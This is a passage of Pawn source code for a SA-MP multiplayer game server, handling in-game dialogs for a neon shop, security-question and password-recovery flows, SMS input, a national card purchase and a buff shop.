          GivePlayerKolang(playerid, 24, 200);
          GivePlayerKolang(playerid, 27, 200);
          GivePlayerKolang(playerid, 31, 500);
          GivePlayerKolang(playerid, 33, 200);
          return GivePlayerKolang(playerid, 29, 500);
        }
        case 2:
        {
          BossSpawn[playerid]=true;
          return SCM(playerid,-1,"You will spawn here if you die till the boss get killed.");
        }
        case 3:
        {
          SetPlayerKoon(true, playerid, 100.0);
          SetPlayerZereh(playerid, 100.0);
          return SCM(playerid,COLOR_LIGHTGREEN,"There you go.");
        }
      }
}
if(dialogid == 1141)
	{
		if(response)
		{
		SCM(playerid,COLOR_SINA2,"PrisonBreak Hacker:{FF0000} Ok, Your Car Is Ready! Go To Garage And Get It {00FF00}Warn: If You Go Out Of The Car, Car Removed From The Server.");
	   FararCar = CreateVehicle(542,-1423.2328,-1498.6592,104.0530,183.4580,0,0,900);
	   CarFarar[playerid]=1;
		}
		else
		{
	   SCM(playerid,COLOR_SINA2,"PrisonBreak Hacker:{FF0000} Hope You Enjoy This Escape.");
		}
	}



	// Neon System Added by Sina
	if(dialogid == DIALOG_NEON)
	{
	   if(response)
	   {
			PlayerPlaySound(playerid,1133,0.0,0.0,0.0);
		  if(listitem == 0)
		  {
			  if(PlayerInfo[playerid][pGold] < 250) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: You need 250 golds to buy neon.");
			 for(new i = 0; i < 24; i++)
			 {
				DestroyObject(Neons[playerid][i]);
			 }
			 Neons[playerid][0] = CreateObject(18648,0,0,0,0,0,0);
			 Neons[playerid][1] = CreateObject(18648,0,0,0,0,0,0);
			 Neons[playerid][2] = CreateObject(18648,0,0,0,0,0,0);
			 Neons[playerid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(Neons[playerid][0], GetPlayerVehicleID(playerid), -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][1], GetPlayerVehicleID(playerid), 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][2], GetPlayerVehicleID(playerid), 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 AttachObjectToVehicle(Neons[playerid][3], GetPlayerVehicleID(playerid), 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 GameTextForPlayer(playerid,"~b~Neon~w~ Added",4000,3);
				PINFO[playerid][pGold] -= 250;
			   SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
			 Neon[playerid]=1;
		  }
		  if(listitem == 1)
		  {
			 if(PlayerInfo[playerid][pGold] < 250) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: You need 250 golds to buy neon.");
			 for(new i = 0; i < 24; i++)
			 {
				DestroyObject(Neons[playerid][i]);
			 }
			 Neons[playerid][4] = CreateObject(18647,0,0,0,0,0,0);
			 Neons[playerid][5] = CreateObject(18647,0,0,0,0,0,0);
			 Neons[playerid][6] = CreateObject(18647,0,0,0,0,0,0);
			 Neons[playerid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(Neons[playerid][4], GetPlayerVehicleID(playerid), -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][5], GetPlayerVehicleID(playerid), 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][6], GetPlayerVehicleID(playerid), 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 AttachObjectToVehicle(Neons[playerid][7], GetPlayerVehicleID(playerid), 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
				PINFO[playerid][pGold] -= 250;
			   SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
			 GameTextForPlayer(playerid,"~r~Neon~w~ Added",4000,3);
			 Neon[playerid]=1;
		  }
		  if(listitem == 2)
		  {
			  if(PlayerInfo[playerid][pGold] < 250) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: You need 250 golds to buy neon.");
			 for(new i = 0; i < 24; i++)
			 {
				DestroyObject(Neons[playerid][i]);
			 }
			 Neons[playerid][8] = CreateObject(18649,0,0,0,0,0,0);
			 Neons[playerid][9] = CreateObject(18649,0,0,0,0,0,0);
			 Neons[playerid][0] = CreateObject(18649,0,0,0,0,0,0);
			 Neons[playerid][10] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(Neons[playerid][8], GetPlayerVehicleID(playerid), -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][9], GetPlayerVehicleID(playerid), 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][10], GetPlayerVehicleID(playerid), 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 AttachObjectToVehicle(Neons[playerid][11], GetPlayerVehicleID(playerid), 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 GameTextForPlayer(playerid,"~g~Neon~w~ Added",4000,3);
				PINFO[playerid][pGold] -= 250;
			   SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
			 Neon[playerid]=1;
		  }
		  if(listitem == 3)
		  {
			 if(PlayerInfo[playerid][pGold] < 250) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: You need 250 golds to buy neon.");
			 for(new i = 0; i < 24; i++)
			 {
				DestroyObject(Neons[playerid][i]);
			 }
			 Neons[playerid][12] = CreateObject(18652,0,0,0,0,0,0);
			 Neons[playerid][13] = CreateObject(18652,0,0,0,0,0,0);
			 Neons[playerid][14] = CreateObject(18652,0,0,0,0,0,0);
			 Neons[playerid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(Neons[playerid][12], GetPlayerVehicleID(playerid), -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][13], GetPlayerVehicleID(playerid), 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][14], GetPlayerVehicleID(playerid), 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 AttachObjectToVehicle(Neons[playerid][15], GetPlayerVehicleID(playerid), 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 GameTextForPlayer(playerid,"~w~Neon~w~ Added",4000,3);
				PINFO[playerid][pGold] -= 250;
			   SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
			 Neon[playerid]=1;
		  }
		  if(listitem == 4)
		  {
			  if(PlayerInfo[playerid][pGold] < 250) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: You need 250 golds to buy neon.");
			 for(new i = 0; i < 24; i++)
			 {
				DestroyObject(Neons[playerid][i]);
			 }
			 Neons[playerid][16] = CreateObject(18651,0,0,0,0,0,0);
			 Neons[playerid][17] = CreateObject(18651,0,0,0,0,0,0);
			 Neons[playerid][18] = CreateObject(18651,0,0,0,0,0,0);
			 Neons[playerid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(Neons[playerid][16], GetPlayerVehicleID(playerid), -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][17], GetPlayerVehicleID(playerid), 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][18], GetPlayerVehicleID(playerid), 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 AttachObjectToVehicle(Neons[playerid][19], GetPlayerVehicleID(playerid), 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 GameTextForPlayer(playerid,"~p~Neon~w~ Added",4000,3);
				PINFO[playerid][pGold] -= 250;
			   SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
			 Neon[playerid]=1;
		  }
		  if(listitem == 5)
		  {
			  if(PlayerInfo[playerid][pGold] < 250) return SendClientMessage(playerid, COLOR_YELLOW2, "Error: You need 250 golds to buy neon.");
			 for(new i = 0; i < 24; i++)
			 {
				DestroyObject(Neons[playerid][i]);
			 }
			 Neons[playerid][20] = CreateObject(18650,0,0,0,0,0,0);
			 Neons[playerid][21] = CreateObject(18650,0,0,0,0,0,0);
			 Neons[playerid][22] = CreateObject(18650,0,0,0,0,0,0);
			 Neons[playerid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(Neons[playerid][20], GetPlayerVehicleID(playerid), -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][21], GetPlayerVehicleID(playerid), 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(Neons[playerid][22], GetPlayerVehicleID(playerid), 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 AttachObjectToVehicle(Neons[playerid][23], GetPlayerVehicleID(playerid), 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 GameTextForPlayer(playerid,"~y~Neon~w~ Added",4000,3);
				PINFO[playerid][pGold] -= 250;
			   SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
			 Neon[playerid]=1;
		  }
		  if(listitem == 6)
		  {
			 if(Neon[playerid] == 0) return SendClientMessage(playerid,COLOR_SINA2,"Error: This vehicle hasn't got any neon.");
			 if(Neon[playerid] == 1)
			 {
				SendClientMessage(playerid,COLOR_SINA2,"[Neon]: Neons Deleted.");
				Neon[playerid] =0;
				for(new i = 0; i < 24; i++)
				{
					DestroyObject(Neons[playerid][i]);
				}
			 }
		  }
	   }
	}
if(dialogid == 6505)
{
if(response)
{
ShowPlayerDialog(playerid,6506,DIALOG_STYLE_INPUT,"Adding security question","So you want to add this feature on your account.\nEnter a question that you could answer it later.","Next","Close");
}
return 1;
}
if(dialogid == 6506)
{
if(response)
{
new length = strlen(inputtext);
if(length > 128 || length < 3)return ShowPlayerDialog(playerid,6506,DIALOG_STYLE_INPUT,"{FF0000}Invalid length.\n{A9C4E4}Adding security question","So you want to add this feature on your account.\nEnter a question that you could answer it later.","Next","Close");
strcpy(QuestionX[playerid],inputtext,130);
ShowPlayerDialog(playerid,6507,DIALOG_STYLE_INPUT,"Adding security question","Now enter an answer for that question.","Next","Close");
}
return 1;
}
if(dialogid == 6577)
{
if(response)
{
new payout, query[512], strn[144];
if(WhichSkinI[playerid]>=0&&WhichSkinI[playerid]<=100){payout=2500;}
if(WhichSkinI[playerid]>=101&&WhichSkinI[playerid]<=200){payout=3500;}
if(WhichSkinI[playerid]>=201){payout=4500;}
if(payout>PINFO[playerid][pGold])return Error(playerid, "Error: You haven't enough gold.")
mysql_format(handle, query, sizeof(query), "INSERT INTO `cskins` (`pID`,`pSkinID`)VALUES ('%d','%d')",PINFO[playerid][pID], WhichSkinI);
mysql_function_query(handle,query,false,"SendQuery","");
SetPlayerSkin(playerid, WhichSkinI[playerid]);
PlayerInfo[playerid][pGold] -= payout;
SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
PlayerInfo[playerid][cSkin] = WhichSkinI[playerid]; SaveKonVal(playerid, "cSkin", WhichSkinI[playerid]);
format(strn, sizeof(strn), "You bought skin id %d for %s golds.", WhichSkinI[playerid], FormatNumber(payout));
SCM(playerid, COLOR_SINARANG, strn);
SCM(playerid, COLOR_Good, "Tip: You can select this skin everytime you want without paying again.");
}
return 1;
}
if(dialogid == 6507)
{
if(response)
{
new fmm[350];
new length = strlen(inputtext);
if(length > 128 || length < 3)return ShowPlayerDialog(playerid,6507,DIALOG_STYLE_INPUT,"Adding security question","Now enter an answer for that question.","Next","Close");
strcpy(AnswerX[playerid],inputtext,130);
format(fmm, sizeof(fmm), "Is these informations correct?\nQuestion: %s\nAnswer: %s", QuestionX[playerid], AnswerX[playerid]);
ShowPlayerDialog(playerid,6508,DIALOG_STYLE_MSGBOX,"Adding security question",fmm,"Yes","No");
}
return 1;
}
if(dialogid == 6504)
{
if(!response)return 1;
new passer[130],fmm[300],query[250],namex[130],mmmowz[144];
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", PINFO[playerid][pName]);
new Cache:result=mysql_query(handle,query);
cache_get_field_content(0,"pAnsQuestion",namex,handle,sizeof(namex));
cache_delete(result);
WP_Hash(passer, sizeof(passer), inputtext);
if(!strcmp(passer,namex,true))
{
PlayerInfo[playerid][pSecurity] = 0;
SaveKonVal(playerid, "pSecurity", PINFO[playerid][pSecurity]);
SCM(playerid, COLOR_WHITE, "Security question {FF0000}disabled{FFFFFF}.");
format(mmmowz, sizeof(mmmowz), "{ffffff}Player %s(%i) has disabled recovery system for %sself",RPName(playerid), playerid, (PINFO[playerid][pSex]==1)?("him"):("her"));
AdminWarn(mmmowz);
}
else
{
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", PINFO[playerid][pName]);
new Cache:resultx=mysql_query(handle,query);
cache_get_field_content(0,"pSecQuestion",namex,handle,sizeof(namex));
cache_delete(resultx);
format(fmm, sizeof(fmm), "{FF0000}Invalid answer.\n{A9C4E4}Question: {FFFF00}%s{A9C4E4}\nPlease enter the answer to make your security question disable.", namex);
ShowPlayerDialog(playerid,6504,DIALOG_STYLE_INPUT,"Disabling security question",fmm,"Done","Close");
}
return 1;
}
if(dialogid == 6508)
{
if(!response)
{
TheAnswer[playerid] = " ";
TheQuestion[playerid] = " ";
return 1;
}
new passer[130],fmm[400],mmmowz[144];
WP_Hash(passer, sizeof(passer), AnswerX[playerid]);
SaveKonStr(playerid, "pSecQuestion", QuestionX[playerid]);
SaveKonStr(playerid, "pAnsQuestion", passer);
format(fmm, sizeof(fmm), "Security question added on your account.\nQuestion: %s\nAnswer: %s\n{FF0000}Save this informations somewhere.", QuestionX[playerid], AnswerX[playerid]);
ShowPlayerDialog(playerid,6573,DIALOG_STYLE_MSGBOX,"Security question",fmm,"OK","");
strcpy(QuestionX[playerid]," ",130);
strcpy(AnswerX[playerid]," ",130);
PlayerInfo[playerid][pSecurity] = 1;
SaveKonVal(playerid, "pSecurity", PINFO[playerid][pSecurity]);
format(mmmowz, sizeof(mmmowz), "{ffffff}Player %s(%i) has enabled recovery system for %sself",RPName(playerid), playerid, (PINFO[playerid][pSex]==1)?("him"):("her"));
AdminWarn(mmmowz);
return 1;
}
if(dialogid == 8018)
{
if(!response)return 1;
new query[250],fmm[150],namex[25],emailx[130],levelx,secans,adminx,Hasher[130],ponlinex,check1[130],check2[130];
mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE `pName`='%e'", inputtext);
new Cache:result=mysql_query(handle,query);
format(fmm, sizeof(fmm), "This name you entered isn't exist.\nEntered name: %s", inputtext);
if(cache_num_rows()==0){ShowPlayerDialog(playerid,8019,DIALOG_STYLE_MSGBOX,"Forget Password",fmm,"Close","");cache_delete(result);return 1;}
secans = cache_get_field_content_int(0,"pSecurity");
adminx = cache_get_field_content_int(0,"pAdmin");
ponlinex = cache_get_field_content_int(0,"pOnline");
if(secans==0){ShowPlayerDialog(playerid,8019,DIALOG_STYLE_MSGBOX,"Forget Password","Something went wrong.\nError code: #1","Close","");cache_delete(result);return 1;}
if(adminx>=1){ShowPlayerDialog(playerid,8019,DIALOG_STYLE_MSGBOX,"Forget Password","Something went wrong.\nError code: #2","Close","");cache_delete(result);return 1;}
if(ponlinex!=0){ShowPlayerDialog(playerid,8019,DIALOG_STYLE_MSGBOX,"Forget Password","Something went wrong.\nError code: #3","Close","");cache_delete(result);return 1;}
cache_get_field_content(0,"pName",namex,handle,sizeof(namex));
cache_get_field_content(0,"pEmail",emailx,handle,sizeof(emailx));
cache_get_field_content(0,"pSecQuestion",check1,handle,sizeof(check1));
cache_get_field_content(0,"pAnsQuestion",check2,handle,sizeof(check2));
levelx = cache_get_field_content_int(0,"pLevel");
HashEmail(emailx, Hasher);
format(fmm, sizeof(fmm), "Is this your account?\nName: %s\nLevel: %d\nEmail: %s", namex,levelx,Hasher);
ShowPlayerDialog(playerid,8020,DIALOG_STYLE_MSGBOX,"Forget Password",fmm,"Yes","No");
strcpy(WhatEmail[playerid],emailx,130);
strcpy(TahtName[playerid],namex,25);
strcpy(TheQuestion[playerid],check1,130);
strcpy(TheAnswer[playerid],check2,130);
cache_delete(result);
return 1;
}
if(dialogid == 8020)
{
if(!response)return 1;
ShowPlayerDialog(playerid,8021,DIALOG_STYLE_INPUT,"Forget Password","Enter full of that account's email address.","Next","Close");
return 1;
}
if(dialogid == 8021)
{
if(!response)return 1;
if(!strcmp(inputtext,WhatEmail[playerid],true))
{
new fmm[300];
format(fmm, sizeof(fmm), "Enter the answer of this question:\n%s", TheQuestion[playerid]);
ShowPlayerDialog(playerid,8022,DIALOG_STYLE_INPUT,"Forget Password",fmm,"Next","Close");
}
else
{
ShowPlayerDialog(playerid,8021,DIALOG_STYLE_INPUT,"Forget Password","{FF0000}Invalid email address.\n{A9C4E4}Enter full of that account's email address.","Next","Close");
}
return 1;
}
	if(dialogid==DIALOG_GETSMS)
	    {
	        if (response)
	        {
				if(strlen(inputtext) < 5)return SendClientMessage(playerid,COLOR_YELLOW2,"Error: Your sms should have more than 5 characters and it should send via phone.");
				DeletePVar(playerid, "LastPMPhone");
				new showtext[256];
				SetPVarString(playerid, "LastPMPhone", inputtext);
				GetPVarString(playerid, "LastPMPhone", showtext, sizeof(showtext));
				TextDrawSetString(NokiaPtds[playerid][1],showtext);

	        }
	    }
		if(dialogid==DIALOG_GETNUMBER)
	    {

	        if(response)
	        {
				if(IsNumeric(inputtext))
				{
				    if(strlen(inputtext) != 7)return ShowPlayerDialog(playerid, DIALOG_GETNUMBER, DIALOG_STYLE_INPUT, "SMS", "Enter the target's phone number.\n{FF0000}Phone number is invalid.", "Enter", "Back");
					DeletePVar(playerid, "LastSMSNumber");
			        new tdsmsto[256];
			        SetPVarInt(playerid, "LastSMSNumber", strval(inputtext));
	                format(tdsmsto,256,"SMS to: %i",strval(inputtext));
	                TextDrawSetString(NokiaPtds[playerid][0],tdsmsto);
		        }
				else {ShowPlayerDialog(playerid, DIALOG_GETNUMBER, DIALOG_STYLE_INPUT, "SMS", "Enter the target's phone number.", "Enter", "Back");}
			}

	    }
if(dialogid == 8121)
{
if(response)
{
if(GetPlayerPool(playerid)<65000)return Error(playerid, "Error: You haven't enough cash.")
if(PINFO[playerid][pNCard]!=0)return Error(playerid, "Error: You can't buy national card now.")
if(BizzInfo[BizBZ[playerid]][bProducts]==0)return Error(playerid, "Error: An error occurred.")
PlayerInfo[playerid][pNCard] = 100;
SaveKonVal(playerid, "pNCard", PINFO[playerid][pNCard]);
new payout = 65000;
BizzInfo[BizBZ[playerid]][bTill]=(BizzInfo[BizBZ[playerid]][bTill]+(payout/2));
new string[80];
format(string, sizeof(string), "~r~-$%s", FormatNumber(payout));
GameTextForPlayer(playerid, string, 5000, 1);
GivePlayerPool(playerid,- payout);
SCM(playerid, COL_SYN, "Syntax: /nc");
SCM(playerid, COLOR_Good, "Tip: It will expire in 100 paychecks.");
return 1;
}
else if(!response)
{
SCM(playerid, COLOR_SINARANG, "So you couldn't get national card.");
return 1;
}
return 1;
}
/*
if(dialogid == 8364)
{
if(!response)return 1;
new sndx[144];
if(listitem==0)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(MightyM4[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Mighty M4 for 200 buffs for 10 minutes.");
MightyM4[playerid] = true;
GivePlayerKolang(playerid, 31, 20000);
MightyM4Timer[playerid] = SetTimerEx("DisableMightyM4", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Mighty M4 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 1);
}
if(listitem==1)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(MightyDeagle[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Mighty Deagle for 200 buffs for 10 minutes.");
MightyDeagle[playerid] = true;
GivePlayerKolang(playerid, 24, 20000);
MightyDeagleTimer[playerid] = SetTimerEx("DisableMightyDeagle", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Mighty Deagle from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 2);
}
if(listitem==2)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<200)return Error(playerid, "Error: You haven't enough buffs.")
if(MightyMP5[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 200;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Mighty MP5 for 200 buffs for 10 minutes.");
MightyMP5[playerid] = true;
GivePlayerKolang(playerid, 29, 20000);
MightyMP5Timer[playerid] = SetTimerEx("DisableMightyMP5", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Mighty MP5 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 3);
}
if(listitem==3)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<600)return Error(playerid, "Error: You haven't enough buffs.")
if(DeadlyM4[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 600;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Deadly M4 for 600 buffs for 10 minutes.");
DeadlyM4[playerid] = true;
GivePlayerKolang(playerid, 31, 20000);
DeadlyM4Timer[playerid] = SetTimerEx("DisableDeadlyM4", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Deadly M4 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 4);
}
if(listitem==4)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<600)return Error(playerid, "Error: You haven't enough buffs.")
if(DeadlyDeagle[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 600;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Deadly Deagle for 600 buffs for 10 minutes.");
DeadlyDeagle[playerid] = true;
GivePlayerKolang(playerid, 24, 20000);
DeadlyDeagleTimer[playerid] = SetTimerEx("DisableDeadlyDeagle", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Deadly Deagle from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 5);
}
if(listitem==5)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<600)return Error(playerid, "Error: You haven't enough buffs.")
if(DeadlyMP5[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 600;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Deadly MP5 for 600 buffs for 10 minutes.");
DeadlyMP5[playerid] = true;
GivePlayerKolang(playerid, 29, 20000);
DeadlyMP5Timer[playerid] = SetTimerEx("DisableDeadlyMP5", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Deadly MP5 from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 6);
}
if(listitem==6)
{
if(PlayerInfo[playerid][pBuff]<1000)return Error(playerid, "Error: You haven't enough buffs.")
if(LessDamaged[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 1000;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Less Damaged for 600 buffs for 3 minutes.");
LessDamaged[playerid] = true;
GodmodeFeature[playerid] = true;
SetPlayerKoon(true, playerid, 100000);
LessDamagedTimer[playerid] = SetTimerEx("DisableLessDamaged", 180000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Less Damaged from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 7);
}
if(listitem==7)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<400)return Error(playerid, "Error: You haven't enough buffs.")
if(ExtraDamage1[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 400;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Extra Damage I for 400 buffs for 10 minutes.");
ExtraDamage1[playerid] = true;
ExtraDamage2[playerid] = false;
ExtraDamage3[playerid] = false;
if(ExtraDamage2[playerid]){if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}}
if(ExtraDamage3[playerid]){if(ExtraDamage3Timer[playerid]!=0){KillTimer(ExtraDamage3Timer[playerid]);ExtraDamage3Timer[playerid]=0;}}
GivePlayerKolang(playerid, 29, 20000);
GivePlayerKolang(playerid, 31, 20000);
GivePlayerKolang(playerid, 24, 20000);
ExtraDamage1Timer[playerid] = SetTimerEx("DisableExtraDamage1", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Extra Damage I from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 8);
}
if(listitem==8)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<500)return Error(playerid, "Error: You haven't enough buffs.")
if(ExtraDamage2[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 500;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Extra Damage II for 500 buffs for 10 minutes.");
ExtraDamage1[playerid] = false;
ExtraDamage2[playerid] = true;
ExtraDamage3[playerid] = false;
if(ExtraDamage1[playerid]){if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}}
if(ExtraDamage3[playerid]){if(ExtraDamage3Timer[playerid]!=0){KillTimer(ExtraDamage3Timer[playerid]);ExtraDamage3Timer[playerid]=0;}}
GivePlayerKolang(playerid, 29, 20000);
GivePlayerKolang(playerid, 31, 20000);
GivePlayerKolang(playerid, 24, 20000);
ExtraDamage2Timer[playerid] = SetTimerEx("DisableExtraDamage2", 600000, false, "i", playerid);
format(sndx, sizeof(sndx), "%s has bought Extra Damage II from buff shop.", RPName(playerid));
ProxDetector(30.0, playerid, sndx, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
OnPlayerEnableBuff(playerid, 9);
}
if(listitem==9)
{
if(PlayerInfo[playerid][pGunLic]==0)return Error(playerid, "Error: You haven't weapon license.")
if(PlayerInfo[playerid][pBuff]<1000)return Error(playerid, "Error: You haven't enough buffs.")
if(ExtraDamage3[playerid])return Error(playerid, "Error: You already have this buff.")
PlayerInfo[playerid][pBuff] -= 1000;
SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
SendMessage(playerid, COLOR_SINARANG, "You bought Extra Damage III for 1,000 buffs for 10 minutes.");
ExtraDamage1[playerid] = false;
ExtraDamage2[playerid] = false;
ExtraDamage3[playerid] = true;
if(ExtraDamage1[playerid]){if(ExtraDamage1Timer[playerid]!=0){KillTimer(ExtraDamage1Timer[playerid]);ExtraDamage1Timer[playerid]=0;}}
if(ExtraDamage2[playerid]){if(ExtraDamage2Timer[playerid]!=0){KillTimer(ExtraDamage2Timer[playerid]);ExtraDamage2Timer[playerid]=0;}}
